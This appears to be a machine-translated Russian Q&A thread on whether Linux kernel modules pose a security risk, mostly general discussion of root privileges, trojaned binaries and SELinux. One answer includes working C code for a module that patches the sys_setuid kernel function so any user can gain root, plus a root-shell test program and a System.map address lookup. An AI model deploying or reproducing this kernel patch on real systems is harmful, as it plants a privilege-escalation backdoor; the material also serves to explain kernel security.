Модули ядра Linux-риск для безопасности?

модуль ядра работает с полными правами ядра - он может делать все, что может сделать ядро, что в значительной степени все. Хорошо воспитанный модуль ограничит свои действия теми функциями, которые экспортируются ядром в виде символов, но ничто на самом деле не мешает модулю вызывать любую произвольную функцию, адрес которой он имеет, или выполнять код, эквивалентный любой существующей функции.

защита заключается в том, что только root может загружать модули ядра.

Root может сделать машину в любом случае, поэтому инкрементный риск незначителен. Чтобы уточнить-загрузка модуля может позволить root лучше скрывать или управлять атакой с меньшей информацией о системе, но в принципе, поскольку root может перезаписать образ ядра и перезагрузить систему в этот образ, он может достичь всего, что может сделать модуль ядра. Поскольку /dev / kmem обычно не доступен для записи, вполне вероятно, что корневой процесс пользовательского пространства будет ограничен тем, что он может do против модуля ядра, но перезапись и перезагрузка могут "исправить" это.

также могут быть альтернативы изменению памяти ядра, например, если вы хотите скрыть процесс, вы можете использовать загружаемый модуль или просто заменить ps с trojaned версия.

аналогично, чтобы скрыть файл, вы можете использовать модуль ядра, или вы можете просто заменить ls.

вы можете проверить это Википедия

говорить, что модуль ядра опасен, это как сказать, что драйвер в windows опасен. Они определенно can быть, но обычно нет. Как заявил г-н лидер, root может делать почти все, но я сомневаюсь, что он может напрямую вызывать api ядра, для этого ему нужно будет загрузить модуль ядра (что он, очевидно, может).

просто хочу добавить, что часть документации: модули ядра Linux HOWTO

Я думаю, что это прояснит некоторые из ваших мыслей относительно проблемы безопасности.

Если вы так заботитесь, SELinux-ваш друг.

Если root может действовать так ... корень... проблема в вашей среде, есть ряд альтернативных конфигураций Linux, где быть root получает вас почти нигде.

для чего-то с еще большей безопасностью попробуйте один из оцененных *IX O/Ses (я провел несколько оценок, но ни один из них не был открытым O/S) или перейдите к более безопасным O/S, таким как что-то из передаваемого сообщения, где "сервер"не работает в режиме ring 0 / supervisor / kernel.

хорошие ответы общего уровня уже. Как посмотреть на эту проблему на уровне кода примера, делая более ясным, насколько уязвим Linux, если установлен модуль.

мой пример модуля:

    #include <linux/version.h>
    #include <linux/module.h>
    #include <linux/highmem.h>
    #include <asm/unistd.h> 
    char *p;   
    int init_module(void)   //0x0ffffffff8107f760 depends on system must be taken from the map                           
       {  pte_t *pte1;
          unsigned int dummy_but_needed;
          p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx  
          pte1 = lookup_address((unsigned long long)p, &dummy_but_needed);
          pte1->pte |= _PAGE_RW; //Now the code page is writable          
          *(p) = (char)0xeb;  //0xeb  is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75".
          return -1;  // Insmod complains and module disappears from the system but module did it's work already               
       }  
    MODULE_LICENSE("GPL");//We don't need cleanup_module

тестовые программы, дающие привилегии суперпользователя на терминале пользовательского уровня:

    int main()
      {
        setuid(0);//Or use asm("mov ,%rdi; mov 5,%rax; syscall;");
        system("/bin/bash"); //rax=system call nr and rdi=first parameter
      }

Это опасный руткит? Нет. Чтобы найти адрес sys_setuid, у вас должны быть привилегии root! И практически каждая система имеет этот адрес отличающийся.

В любом случае это показывает, как легко манипулировать. На самом деле очень легко заменить используемую константу динамическими (во время выполнения) методами - не представленными здесь. ( Это будет руткит. Я попробовал это, и никакая текущая программа охоты на руткиты не была способна узнать, что даже она существует, и приняла каждый системный вызов.)

я протестировал это с ядром 3.2 и AMD64. НЕ БУДЕТ РАБОТАТЬ НА ДРУГИХ HW!

(как найти необходимую константу:

    xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic
    [sudo] password for xxxx: 
    ffffffff8107f3a0 T sys_setuid
    ffffffff810a23f0 T sys_setuid16

)